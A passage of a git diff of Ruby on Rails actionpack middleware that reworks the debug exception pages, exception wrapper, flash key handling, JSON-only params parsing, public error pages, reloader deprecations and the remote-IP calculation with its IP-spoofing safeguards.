- raise ActionController::RoutingError, "No route matches [#{env['REQUEST_METHOD']}] #{env['PATH_INFO'].inspect}"
- end
- rescue Exception => exception
- raise exception if env['action_dispatch.show_exceptions'] == false
+ if headers['X-Cascade'] == 'pass'
+ body.close if body.respond_to?(:close)
+ raise ActionController::RoutingError, "No route matches [#{env['REQUEST_METHOD']}] #{env['PATH_INFO'].inspect}"
end
- exception ? render_exception(env, exception) : response
+ response
+ rescue Exception => exception
+ raise exception if env['action_dispatch.show_exceptions'] == false
+ render_exception(env, exception)
end
private
@@ -37,25 +64,46 @@ module ActionDispatch
log_error(env, wrapper)
if env['action_dispatch.show_detailed_exceptions']
- template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],
- :request => Request.new(env),
- :exception => wrapper.exception,
- :application_trace => wrapper.application_trace,
- :framework_trace => wrapper.framework_trace,
- :full_trace => wrapper.full_trace,
- :routes => formatted_routes(exception)
- )
+ request = Request.new(env)
+ traces = wrapper.traces
+
+ trace_to_show = 'Application Trace'
+ if traces[trace_to_show].empty? && wrapper.rescue_template != 'routing_error'
+ trace_to_show = 'Full Trace'
+ end
+
+ if source_to_show = traces[trace_to_show].first
+ source_to_show_id = source_to_show[:id]
+ end
+ template = DebugView.new([RESCUES_TEMPLATE_PATH],
+ request: request,
+ exception: wrapper.exception,
+ traces: traces,
+ show_source_idx: source_to_show_id,
+ trace_to_show: trace_to_show,
+ routes_inspector: routes_inspector(exception),
+ source_extracts: wrapper.source_extracts,
+ line_number: wrapper.line_number,
+ file: wrapper.file
+ )
file = "rescues/#{wrapper.rescue_template}"
- body = template.render(:template => file, :layout => 'rescues/layout')
- render(wrapper.status_code, body)
+
+ if request.xhr?
+ body = template.render(template: file, layout: false, formats: [:text])
+ format = "text/plain"
+ else
+ body = template.render(template: file, layout: 'rescues/layout')
+ format = "text/html"
+ end
+ render(wrapper.status_code, body, format)
else
raise exception
end
end
- def render(status, body)
- [status, {'Content-Type' => "text/html; charset=#{Response.default_charset}", 'Content-Length' => body.bytesize.to_s}, [body]]
+ def render(status, body, format)
+ [status, {'Content-Type' => "#{format}; charset=#{Response.default_charset}", 'Content-Length' => body.bytesize.to_s}, [body]]
end
def log_error(env, wrapper)
@@ -83,11 +131,9 @@ module ActionDispatch
@stderr_logger ||= ActiveSupport::Logger.new($stderr)
end
- def formatted_routes(exception)
- return false unless @routes_app.respond_to?(:routes)
- if exception.is_a?(ActionController::RoutingError) || exception.is_a?(ActionView::Template::Error)
- inspector = ActionDispatch::Routing::RoutesInspector.new
- inspector.format(@routes_app.routes.routes).join("\n")
+ def routes_inspector(exception)
+ if @routes_app.respond_to?(:routes) && (exception.is_a?(ActionController::RoutingError) || exception.is_a?(ActionView::Template::Error))
+ ActionDispatch::Routing::RoutesInspector.new(@routes_app.routes.routes)
end
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
index ae38c56a67..a4862e33aa 100644
--- a/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
+++ b/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
@@ -1,19 +1,22 @@
require 'action_controller/metal/exceptions'
-require 'active_support/core_ext/exception'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
module ActionDispatch
class ExceptionWrapper
cattr_accessor :rescue_responses
@@rescue_responses = Hash.new(:internal_server_error)
@@rescue_responses.merge!(
- 'ActionController::RoutingError' => :not_found,
- 'AbstractController::ActionNotFound' => :not_found,
- 'ActionController::MethodNotAllowed' => :method_not_allowed,
- 'ActionController::NotImplemented' => :not_implemented,
- 'ActionController::UnknownFormat' => :not_acceptable,
- 'ActionController::InvalidAuthenticityToken' => :unprocessable_entity,
- 'ActionController::BadRequest' => :bad_request
+ 'ActionController::RoutingError' => :not_found,
+ 'AbstractController::ActionNotFound' => :not_found,
+ 'ActionController::MethodNotAllowed' => :method_not_allowed,
+ 'ActionController::UnknownHttpMethod' => :method_not_allowed,
+ 'ActionController::NotImplemented' => :not_implemented,
+ 'ActionController::UnknownFormat' => :not_acceptable,
+ 'ActionController::InvalidAuthenticityToken' => :unprocessable_entity,
+ 'ActionController::InvalidCrossOriginRequest' => :unprocessable_entity,
+ 'ActionDispatch::ParamsParser::ParseError' => :bad_request,
+ 'ActionController::BadRequest' => :bad_request,
+ 'ActionController::ParameterMissing' => :bad_request
)
cattr_accessor :rescue_templates
@@ -25,11 +28,13 @@ module ActionDispatch
'ActionView::Template::Error' => 'template_error'
)
- attr_reader :env, :exception
+ attr_reader :env, :exception, :line_number, :file
def initialize(env, exception)
@env = env
@exception = original_exception(exception)
+
+ expand_backtrace if exception.is_a?(SyntaxError) || exception.try(:original_exception).try(:is_a?, SyntaxError)
end
def rescue_template
@@ -52,12 +57,52 @@ module ActionDispatch
clean_backtrace(:all)
end
+ def traces
+ appplication_trace_with_ids = []
+ framework_trace_with_ids = []
+ full_trace_with_ids = []
+
+ full_trace.each_with_index do |trace, idx|
+ trace_with_id = { id: idx, trace: trace }
+
+ if application_trace.include?(trace)
+ appplication_trace_with_ids << trace_with_id
+ else
+ framework_trace_with_ids << trace_with_id
+ end
+
+ full_trace_with_ids << trace_with_id
+ end
+
+ {
+ "Application Trace" => appplication_trace_with_ids,
+ "Framework Trace" => framework_trace_with_ids,
+ "Full Trace" => full_trace_with_ids
+ }
+ end
+
def self.status_code_for_exception(class_name)
Rack::Utils.status_code(@@rescue_responses[class_name])
end
+ def source_extracts
+ backtrace.map do |trace|
+ file, line = trace.split(":")
+ line_number = line.to_i
+
+ {
+ code: source_fragment(file, line_number),
+ line_number: line_number
+ }
+ end
+ end
+
private
+ def backtrace
+ Array(@exception.backtrace)
+ end
+
def original_exception(exception)
if registered_original_exception?(exception)
exception.original_exception
@@ -72,14 +117,32 @@ module ActionDispatch
def clean_backtrace(*args)
if backtrace_cleaner
- backtrace_cleaner.clean(@exception.backtrace, *args)
+ backtrace_cleaner.clean(backtrace, *args)
else
- @exception.backtrace
+ backtrace
end
end
def backtrace_cleaner
@backtrace_cleaner ||= @env['action_dispatch.backtrace_cleaner']
end
+
+ def source_fragment(path, line)
+ return unless Rails.respond_to?(:root) && Rails.root
+ full_path = Rails.root.join(path)
+ if File.exist?(full_path)
+ File.open(full_path, "r") do |file|
+ start = [line - 3, 0].max
+ lines = file.each_line.drop(start).take(6)
+ Hash[*(start+1..(lines.count+start)).zip(lines).flatten]
+ end
+ end
+ end
+
+ def expand_backtrace
+ @exception.backtrace.unshift(
+ @exception.to_s.split("\n")
+ ).flatten!
+ end
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/flash.rb b/actionpack/lib/action_dispatch/middleware/flash.rb
index f24e9b8e18..a7f95150a4 100644
--- a/actionpack/lib/action_dispatch/middleware/flash.rb
+++ b/actionpack/lib/action_dispatch/middleware/flash.rb
@@ -1,3 +1,5 @@
+require 'active_support/core_ext/hash/keys'
+
module ActionDispatch
class Request < Rack::Request
# Access the contents of the flash. Use <tt>flash["notice"]</tt> to
@@ -8,7 +10,7 @@ module ActionDispatch
end
end
- # The flash provides a way to pass temporary objects between actions. Anything you place in the flash will be exposed
+ # The flash provides a way to pass temporary primitive-types (String, Array, Hash) between actions. Anything you place in the flash will be exposed
# to the very next action and then cleared out. This is a great way of doing notices and alerts, such as a create
# action that sets <tt>flash[:notice] = "Post successfully created"</tt> before redirecting to a display action that can
# then expose the flash to its template. Actually, that exposure is automatically done.
@@ -35,8 +37,11 @@ module ActionDispatch
# flash.alert = "You must be logged in"
# flash.notice = "Post successfully created"
#
- # This example just places a string in the flash, but you can put any object in there. And of course, you can put as
- # many as you like at a time too. Just remember: They'll be gone by the time the next action has been performed.
+ # This example places a string in the flash. And of course, you can put as many as you like at a time too. If you want to pass
+ # non-primitive types, you will have to handle that in your application. Example: To show messages with links, you will have to
+ # use sanitize helper.
+ #
+ # Just remember: They'll be gone by the time the next action has been performed.
#
# See docs on the FlashHash class for more details about the flash.
class Flash
@@ -50,21 +55,22 @@ module ActionDispatch
end
def []=(k, v)
+ k = k.to_s
@flash[k] = v
@flash.discard(k)
v
end
def [](k)
- @flash[k]
+ @flash[k.to_s]
end
- # Convenience accessor for flash.now[:alert]=
+ # Convenience accessor for <tt>flash.now[:alert]=</tt>.
def alert=(message)
self[:alert] = message
end
- # Convenience accessor for flash.now[:notice]=
+ # Convenience accessor for <tt>flash.now[:notice]=</tt>.
def notice=(message)
self[:notice] = message
end
@@ -73,7 +79,7 @@ module ActionDispatch
class FlashHash
include Enumerable
- def self.from_session_value(value)
+ def self.from_session_value(value) #:nodoc:
flash = case value
when FlashHash # Rails 3.1, 3.2
new(value.instance_variable_get(:@flashes), value.instance_variable_get(:@used))
@@ -82,18 +88,21 @@ module ActionDispatch
else
new
end
-
+
flash.tap(&:sweep)
end
-
- def to_session_value
+
+ # Builds a hash containing the discarded values and the hashes
+ # representing the flashes.
+ # If there are no values in @flashes, returns nil.
+ def to_session_value #:nodoc:
return nil if empty?
{'discard' => @discard.to_a, 'flashes' => @flashes}
end
def initialize(flashes = {}, discard = []) #:nodoc:
- @discard = Set.new(discard)
- @flashes = flashes
+ @discard = Set.new(stringify_array(discard))
+ @flashes = flashes.stringify_keys
@now = nil
end
@@ -106,17 +115,18 @@ module ActionDispatch
end
def []=(k, v)
+ k = k.to_s
@discard.delete k
@flashes[k] = v
end
def [](k)
- @flashes[k]
+ @flashes[k.to_s]
end
def update(h) #:nodoc:
- @discard.subtract h.keys
- @flashes.update h
+ @discard.subtract stringify_array(h.keys)
+ @flashes.update h.stringify_keys
self
end
@@ -125,10 +135,11 @@ module ActionDispatch
end
def key?(name)
- @flashes.key? name
+ @flashes.key? name.to_s
end
def delete(key)
+ key = key.to_s
@discard.delete key
@flashes.delete key
self
@@ -155,7 +166,7 @@ module ActionDispatch
def replace(h) #:nodoc:
@discard.clear
- @flashes.replace h
+ @flashes.replace h.stringify_keys
self
end
@@ -169,6 +180,14 @@ module ActionDispatch
# vanish when the current action is done.
#
# Entries set via <tt>now</tt> are accessed the same way as standard entries: <tt>flash['my-key']</tt>.
+ #
+ # Also, brings two convenience accessors:
+ #
+ # flash.now.alert = "Beware now!"
+ # # Equivalent to flash.now[:alert] = "Beware now!"
+ #
+ # flash.now.notice = "Good luck now!"
+ # # Equivalent to flash.now[:notice] = "Good luck now!"
def now
@now ||= FlashNow.new(self)
end
@@ -178,6 +197,7 @@ module ActionDispatch
# flash.keep # keeps the entire flash
# flash.keep(:notice) # keeps only the "notice" entry, the rest of the flash is discarded
def keep(k = nil)
+ k = k.to_s if k
@discard.subtract Array(k || keys)
k ? self[k] : self
end
@@ -187,6 +207,7 @@ module ActionDispatch
# flash.discard # discard the entire flash at the end of the current action
# flash.discard(:warning) # discard only the "warning" entry at the end of the current action
def discard(k = nil)
+ k = k.to_s if k
@discard.merge Array(k || keys)
k ? self[k] : self
end
@@ -199,22 +220,22 @@ module ActionDispatch
@discard.replace @flashes.keys
end
- # Convenience accessor for flash[:alert]
+ # Convenience accessor for <tt>flash[:alert]</tt>.
def alert
self[:alert]
end
- # Convenience accessor for flash[:alert]=
+ # Convenience accessor for <tt>flash[:alert]=</tt>.
def alert=(message)
self[:alert] = message
end
- # Convenience accessor for flash[:notice]
+ # Convenience accessor for <tt>flash[:notice]</tt>.
def notice
self[:notice]
end
- # Convenience accessor for flash[:notice]=
+ # Convenience accessor for <tt>flash[:notice]=</tt>.
def notice=(message)
self[:notice] = message
end
@@ -223,6 +244,12 @@ module ActionDispatch
def now_is_loaded?
@now
end
+
+ def stringify_array(array)
+ array.map do |item|
+ item.kind_of?(Symbol) ? item.to_s : item
+ end
+ end
end
def initialize(app)
@@ -235,19 +262,13 @@ module ActionDispatch
session = Request::Session.find(env) || {}
flash_hash = env[KEY]
- if flash_hash
- if !flash_hash.empty? || session.key?('flash')
- session["flash"] = flash_hash.to_session_value
- new_hash = flash_hash.dup
- else
- new_hash = flash_hash
- end
-
- env[KEY] = new_hash
+ if flash_hash && (flash_hash.present? || session.key?('flash'))
+ session["flash"] = flash_hash.to_session_value
+ env[KEY] = flash_hash.dup
end
if (!session.respond_to?(:loaded?) || session.loaded?) && # (reset_session uses {}, which doesn't implement #loaded?)
- session.key?('flash') && session['flash'].nil?
+ session.key?('flash') && session['flash'].nil?
session.delete('flash')
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/params_parser.rb b/actionpack/lib/action_dispatch/middleware/params_parser.rb
index 2c98ca03a8..29d43faeed 100644
--- a/actionpack/lib/action_dispatch/middleware/params_parser.rb
+++ b/actionpack/lib/action_dispatch/middleware/params_parser.rb
@@ -13,10 +13,7 @@ module ActionDispatch
end
end
- DEFAULT_PARSERS = {
- Mime::XML => :xml_simple,
- Mime::JSON => :json
- }
+ DEFAULT_PARSERS = { Mime::JSON => :json }
def initialize(app, parsers = {})
@app, @parsers = app, DEFAULT_PARSERS.merge(parsers)
@@ -36,45 +33,26 @@ module ActionDispatch
return false if request.content_length.zero?
- mime_type = content_type_from_legacy_post_data_format_header(env) ||
- request.content_mime_type
-
- strategy = @parsers[mime_type]
+ strategy = @parsers[request.content_mime_type]
return false unless strategy
case strategy
when Proc
strategy.call(request.raw_post)
- when :xml_simple, :xml_node
- data = Hash.from_xml(request.raw_post) || {}
- data.with_indifferent_access
- when :yaml
- YAML.load(request.raw_post)
when :json
data = ActiveSupport::JSON.decode(request.raw_post)
data = {:_json => data} unless data.is_a?(Hash)
- data.with_indifferent_access
+ Request::Utils.deep_munge(data).with_indifferent_access
else
false
end
- rescue Exception => e # YAML, XML or Ruby code block errors
+ rescue => e # JSON or Ruby code block errors
logger(env).debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}"
raise ParseError.new(e.message, e)
end
- def content_type_from_legacy_post_data_format_header(env)
- if x_post_format = env['HTTP_X_POST_DATA_FORMAT']
- case x_post_format.to_s.downcase
- when 'yaml' then return Mime::YAML
- when 'xml' then return Mime::XML
- end
- end
-
- nil
- end
-
def logger(env)
env['action_dispatch.logger'] || ActiveSupport::Logger.new($stderr)
end
diff --git a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
index 53bedaa40a..040cb215b7 100644
--- a/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/public_exceptions.rb
@@ -1,4 +1,14 @@
module ActionDispatch
+ # When called, this middleware renders an error page. By default if an HTML
+ # response is expected it will render static error pages from the `/public`
+ # directory. For example when this middleware receives a 500 response it will
+ # render the template found in `/public/500.html`.
+ # If an internationalized locale is set, this middleware will attempt to render
+ # the template in `/public/500.<locale>.html`. If an internationalized template
+ # is not found it will fall back on `/public/500.html`.
+ #
+ # When a request with a content type other than HTML is made, this middleware
+ # will attempt to convert error information into the appropriate response type.
class PublicExceptions
attr_accessor :public_path
@@ -7,11 +17,10 @@ module ActionDispatch
end
def call(env)
- exception = env["action_dispatch.exception"]
status = env["PATH_INFO"][1..-1]
request = ActionDispatch::Request.new(env)
content_type = request.formats.first
- body = { :status => status, :error => exception.message }
+ body = { :status => status, :error => Rack::Utils::HTTP_STATUS_CODES.fetch(status.to_i, Rack::Utils::HTTP_STATUS_CODES[500]) }
render(status, content_type, body)
end
@@ -19,7 +28,7 @@ module ActionDispatch
private
def render(status, content_type, body)
- format = content_type && "to_#{content_type.to_sym}"
+ format = "to_#{content_type.to_sym}" if content_type
if format && body.respond_to?(format)
render_format(status, content_type, body.public_send(format))
else
@@ -33,9 +42,8 @@ module ActionDispatch
end
def render_html(status)
- found = false
- path = "#{public_path}/#{status}.#{I18n.locale}.html" if I18n.locale
- path = "#{public_path}/#{status}.html" unless path && (found = File.exist?(path))
+ path = "#{public_path}/#{status}.#{I18n.locale}.html"
+ path = "#{public_path}/#{status}.html" unless (found = File.exist?(path))
if found || File.exist?(path)
render_format(status, 'text/html', File.read(path))
diff --git a/actionpack/lib/action_dispatch/middleware/reloader.rb b/actionpack/lib/action_dispatch/middleware/reloader.rb
index 2f6968eb2e..15b5a48535 100644
--- a/actionpack/lib/action_dispatch/middleware/reloader.rb
+++ b/actionpack/lib/action_dispatch/middleware/reloader.rb
@@ -1,3 +1,5 @@
+require 'active_support/deprecation/reporting'
+
module ActionDispatch
# ActionDispatch::Reloader provides prepare and cleanup callbacks,
# intended to assist with code reloading during development.
@@ -25,19 +27,26 @@ module ActionDispatch
#
class Reloader
include ActiveSupport::Callbacks
+ include ActiveSupport::Deprecation::Reporting
- define_callbacks :prepare, :scope => :name
- define_callbacks :cleanup, :scope => :name
+ define_callbacks :prepare
+ define_callbacks :cleanup
# Add a prepare callback. Prepare callbacks are run before each request, prior
# to ActionDispatch::Callback's before callbacks.
def self.to_prepare(*args, &block)
+ unless block_given?
+ warn "to_prepare without a block is deprecated. Please use a block"
+ end
set_callback(:prepare, *args, &block)
end
# Add a cleanup callback. Cleanup callbacks are run after each request is
# complete (after #close is called on the response body).
def self.to_cleanup(*args, &block)
+ unless block_given?
+ warn "to_cleanup without a block is deprecated. Please use a block"
+ end
set_callback(:cleanup, *args, &block)
end
diff --git a/actionpack/lib/action_dispatch/middleware/remote_ip.rb b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
index 5abf8f2802..7c4236518d 100644
--- a/actionpack/lib/action_dispatch/middleware/remote_ip.rb
+++ b/actionpack/lib/action_dispatch/middleware/remote_ip.rb
@@ -1,124 +1,170 @@
+require 'ipaddr'
+
module ActionDispatch
+ # This middleware calculates the IP address of the remote client that is
+ # making the request. It does this by checking various headers that could
+ # contain the address, and then picking the last-set address that is not
+ # on the list of trusted IPs. This follows the precedent set by e.g.
+ # {the Tomcat server}[https://issues.apache.org/bugzilla/show_bug.cgi?id=50453],
+ # with {reasoning explained at length}[http://blog.gingerlime.com/2012/rails-ip-spoofing-vulnerabilities-and-protection]
+ # by @gingerlime. A more detailed explanation of the algorithm is given
+ # at GetIp#calculate_ip.
+ #
+ # Some Rack servers concatenate repeated headers, like {HTTP RFC 2616}[http://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2]
+ # requires. Some Rack servers simply drop preceding headers, and only report
+ # the value that was {given in the last header}[http://andre.arko.net/2011/12/26/repeated-headers-and-ruby-web-servers].
+ # If you are behind multiple proxy servers (like NGINX to HAProxy to Unicorn)
+ # then you should test your Rack server to make sure your data is good.
+ #
+ # IF YOU DON'T USE A PROXY, THIS MAKES YOU VULNERABLE TO IP SPOOFING.
+ # This middleware assumes that there is at least one proxy sitting around
+ # and setting headers with the client's remote IP address. If you don't use
+ # a proxy, because you are hosted on e.g. Heroku without SSL, any client can
+ # claim to have any IP address by setting the X-Forwarded-For header. If you
+ # care about that, then you need to explicitly drop or ignore those headers
+ # sometime before this middleware runs.
class RemoteIp
- class IpSpoofAttackError < StandardError ; end
-
- # IP addresses that are "trusted proxies" that can be stripped from
- # the comma-delimited list in the X-Forwarded-For header. See also:
- # http://en.wikipedia.org/wiki/Private_network#Private_IPv4_address_spaces
- # http://en.wikipedia.org/wiki/Private_network#Private_IPv6_addresses.
- TRUSTED_PROXIES = %r{
- ^127\.0\.0\.1$ | # localhost
- ^::1$ |
- ^(10 | # private IP 10.x.x.x
- 172\.(1[6-9]|2[0-9]|3[0-1]) | # private IP in the range 172.16.0.0 .. 172.31.255.255
- 192\.168 | # private IP 192.168.x.x
- fc00:: # private IP fc00
- )\.
- }x
+ class IpSpoofAttackError < StandardError; end
+
+ # The default trusted IPs list simply includes IP addresses that are
+ # guaranteed by the IP specification to be private addresses. Those will
+ # not be the ultimate client IP in production, and so are discarded. See
+ # http://en.wikipedia.org/wiki/Private_network for details.
+ TRUSTED_PROXIES = [
+ "127.0.0.1", # localhost IPv4
+ "::1", # localhost IPv6
+ "fc00::/7", # private IPv6 range fc00::/7
+ "10.0.0.0/8", # private IPv4 range 10.x.x.x
+ "172.16.0.0/12", # private IPv4 range 172.16.0.0 .. 172.31.255.255
+ "192.168.0.0/16", # private IPv4 range 192.168.x.x
+ ].map { |proxy| IPAddr.new(proxy) }
attr_reader :check_ip, :proxies
+ # Create a new +RemoteIp+ middleware instance.
+ #
+ # The +check_ip_spoofing+ option is on by default. When on, an exception
+ # is raised if it looks like the client is trying to lie about its own IP
+ # address. It makes sense to turn off this check on sites aimed at non-IP
+ # clients (like WAP devices), or behind proxies that set headers in an
+ # incorrect or confusing way (like AWS ELB).
+ #
+ # The +custom_proxies+ argument can take an Array of string, IPAddr, or
+ # Regexp objects which will be used instead of +TRUSTED_PROXIES+. If a
+ # single string, IPAddr, or Regexp object is provided, it will be used in
+ # addition to +TRUSTED_PROXIES+. Any proxy setup will put the value you
+ # want in the middle (or at the beginning) of the X-Forwarded-For list,
+ # with your proxy servers after it. If your proxies aren't removed, pass
+ # them in via the +custom_proxies+ parameter. That way, the middleware will
+ # ignore those IP addresses, and return the one that you want.
def initialize(app, check_ip_spoofing = true, custom_proxies = nil)
@app = app
@check_ip = check_ip_spoofing
- @proxies = case custom_proxies
- when Regexp
- custom_proxies
- when nil
- TRUSTED_PROXIES
- else
- Regexp.union(TRUSTED_PROXIES, custom_proxies)
- end
+ @proxies = if custom_proxies.blank?
+ TRUSTED_PROXIES
+ elsif custom_proxies.respond_to?(:any?)
+ custom_proxies
+ else
+ Array(custom_proxies) + TRUSTED_PROXIES
+ end
end
+ # Since the IP address may not be needed, we store the object here
+ # without calculating the IP to keep from slowing down the majority of
+ # requests. For those requests that do need to know the IP, the
+ # GetIp#calculate_ip method will calculate the memoized client IP address.
def call(env)
env["action_dispatch.remote_ip"] = GetIp.new(env, self)
@app.call(env)
end
+ # The GetIp class exists as a way to defer processing of the request data
+ # into an actual IP address. If the ActionDispatch::Request#remote_ip method
+ # is called, this class will calculate the value and then memoize it.
class GetIp
-
- # IP v4 and v6 (with compression) validation regexp
- # https://gist.github.com/1289635
- VALID_IP = %r{
- (^(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})(\.(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[0-9]{1,2})){3}$) | # ip v4
- (^(
- (([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}) | # ip v6 not abbreviated
- (([0-9A-Fa-f]{1,4}:){6}:[0-9A-Fa-f]{1,4}) | # ip v6 with double colon in the end
- (([0-9A-Fa-f]{1,4}:){5}:([0-9A-Fa-f]{1,4}:)?[0-9A-Fa-f]{1,4}) | # - ip addresses v6
- (([0-9A-Fa-f]{1,4}:){4}:([0-9A-Fa-f]{1,4}:){0,2}[0-9A-Fa-f]{1,4}) | # - with
- (([0-9A-Fa-f]{1,4}:){3}:([0-9A-Fa-f]{1,4}:){0,3}[0-9A-Fa-f]{1,4}) | # - double colon
- (([0-9A-Fa-f]{1,4}:){2}:([0-9A-Fa-f]{1,4}:){0,4}[0-9A-Fa-f]{1,4}) | # - in the middle
- (([0-9A-Fa-f]{1,4}:){6} ((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3} (\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
- (([0-9A-Fa-f]{1,4}:){1,5}:((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
- (([0-9A-Fa-f]{1,4}:){1}:([0-9A-Fa-f]{1,4}:){0,4}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
- (([0-9A-Fa-f]{1,4}:){0,2}:([0-9A-Fa-f]{1,4}:){0,3}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
- (([0-9A-Fa-f]{1,4}:){0,3}:([0-9A-Fa-f]{1,4}:){0,2}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
- (([0-9A-Fa-f]{1,4}:){0,4}:([0-9A-Fa-f]{1,4}:){1}((\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
- (::([0-9A-Fa-f]{1,4}:){0,5}((\b((25[0-5])|(1\d{2})|(2[0-4]\d) |(\d{1,2}))\b)\.){3}(\b((25[0-5])|(1\d{2})|(2[0-4]\d)|(\d{1,2}))\b)) | # ip v6 with compatible to v4
- ([0-9A-Fa-f]{1,4}::([0-9A-Fa-f]{1,4}:){0,5}[0-9A-Fa-f]{1,4}) | # ip v6 with compatible to v4
- (::([0-9A-Fa-f]{1,4}:){0,6}[0-9A-Fa-f]{1,4}) | # ip v6 with double colon at the begining
- (([0-9A-Fa-f]{1,4}:){1,7}:) # ip v6 without ending
- )$)
- }x
-
def initialize(env, middleware)
- @env = env
- @middleware = middleware
- @ip = nil
+ @env = env
+ @check_ip = middleware.check_ip
+ @proxies = middleware.proxies
end
- # Determines originating IP address. REMOTE_ADDR is the standard
- # but will be wrong if the user is behind a proxy. Proxies will set
- # HTTP_CLIENT_IP and/or HTTP_X_FORWARDED_FOR, so we prioritize those.
- # HTTP_X_FORWARDED_FOR may be a comma-delimited list in the case of
- # multiple chained proxies. The first address which is in this list
- # if it's not a known proxy will be the originating IP.
- # Format of HTTP_X_FORWARDED_FOR:
- # client_ip, proxy_ip1, proxy_ip2...
- # http://en.wikipedia.org/wiki/X-Forwarded-For
+ # Sort through the various IP address headers, looking for the IP most
+ # likely to be the address of the actual remote client making this
+ # request.
+ #
+ # REMOTE_ADDR will be correct if the request is made directly against the
+ # Ruby process, on e.g. Heroku. When the request is proxied by another
+ # server like HAProxy or NGINX, the IP address that made the original
+ # request will be put in an X-Forwarded-For header. If there are multiple
+ # proxies, that header may contain a list of IPs. Other proxy services
+ # set the Client-Ip header instead, so we check that too.
+ #
+ # As discussed in {this post about Rails IP Spoofing}[http://blog.gingerlime.com/2012/rails-ip-spoofing-vulnerabilities-and-protection/],
+ # while the first IP in the list is likely to be the "originating" IP,
+ # it could also have been set by the client maliciously.
+ #
+ # In order to find the first address that is (probably) accurate, we
+ # take the list of IPs, remove known and trusted proxies, and then take
+ # the last address left, which was presumably set by one of those proxies.
def calculate_ip
- client_ip = @env['HTTP_CLIENT_IP']
- forwarded_ip = ips_from('HTTP_X_FORWARDED_FOR').first
- remote_addrs = ips_from('REMOTE_ADDR')
-
- check_ip = client_ip && @middleware.check_ip
- if check_ip && forwarded_ip != client_ip
+ # Set by the Rack web server, this is a single value.
+ remote_addr = ips_from('REMOTE_ADDR').last
+
+ # Could be a CSV list and/or repeated headers that were concatenated.
+ client_ips = ips_from('HTTP_CLIENT_IP').reverse
+ forwarded_ips = ips_from('HTTP_X_FORWARDED_FOR').reverse
+
+ # +Client-Ip+ and +X-Forwarded-For+ should not, generally, both be set.
+ # If they are both set, it means that this request passed through two
+ # proxies with incompatible IP header conventions, and there is no way
+ # for us to determine which header is the right one after the fact.
+ # Since we have no idea, we give up and explode.
+ should_check_ip = @check_ip && client_ips.last && forwarded_ips.last
+ if should_check_ip && !forwarded_ips.include?(client_ips.last)
# We don't know which came from the proxy, and which from the user
- raise IpSpoofAttackError, "IP spoofing attack?!" \
- "HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect}" \
+ raise IpSpoofAttackError, "IP spoofing attack?! " +
+ "HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect} " +
"HTTP_X_FORWARDED_FOR=#{@env['HTTP_X_FORWARDED_FOR'].inspect}"
end
- client_ips = remove_proxies [client_ip, forwarded_ip, remote_addrs].flatten
- if client_ips.present?
- client_ips.first
- else
- # If there is no client ip we can return first valid proxy ip from REMOTE_ADDR
- remote_addrs.find { |ip| valid_ip? ip }
- end
+ # We assume these things about the IP headers:
+ #
+ # - X-Forwarded-For will be a list of IPs, one per proxy, or blank
+ # - Client-Ip is propagated from the outermost proxy, or is blank
+ # - REMOTE_ADDR will be the IP that made the request to Rack
+ ips = [forwarded_ips, client_ips, remote_addr].flatten.compact
+
+ # If every single IP option is in the trusted list, just return REMOTE_ADDR
+ filter_proxies(ips).first || remote_addr
end
+ # Memoizes the value returned by #calculate_ip and returns it for
+ # ActionDispatch::Request to use.
def to_s
@ip ||= calculate_ip
end
- private
+ protected
def ips_from(header)
- @env[header] ? @env[header].strip.split(/[,\s]+/) : []
- end
-
- def valid_ip?(ip)
- ip =~ VALID_IP
- end
-
- def not_a_proxy?(ip)
- ip !~ @middleware.proxies
+ # Split the comma-separated list into an array of strings
+ ips = @env[header] ? @env[header].strip.split(/[,\s]+/) : []
+ ips.select do |ip|
+ begin
+ # Only return IPs that are valid according to the IPAddr#new method
+ range = IPAddr.new(ip).to_range
+ # we want to make sure nobody is sneaking a netmask in
+ range.begin == range.end
+ rescue ArgumentError
+ nil
+ end
+ end
end
- def remove_proxies(ips)
- ips.select { |ip| valid_ip?(ip) && not_a_proxy?(ip) }
+ def filter_proxies(ips)
+ ips.reject do |ip|
+ @proxies.any? { |proxy| proxy === ip }
+ end
end
end
diff --git a/actionpack/lib/action_dispatch/middleware/request_id.rb b/actionpack/lib/action_dispatch/middleware/request_id.rb
index 44290445d4..25658bac3d 100644
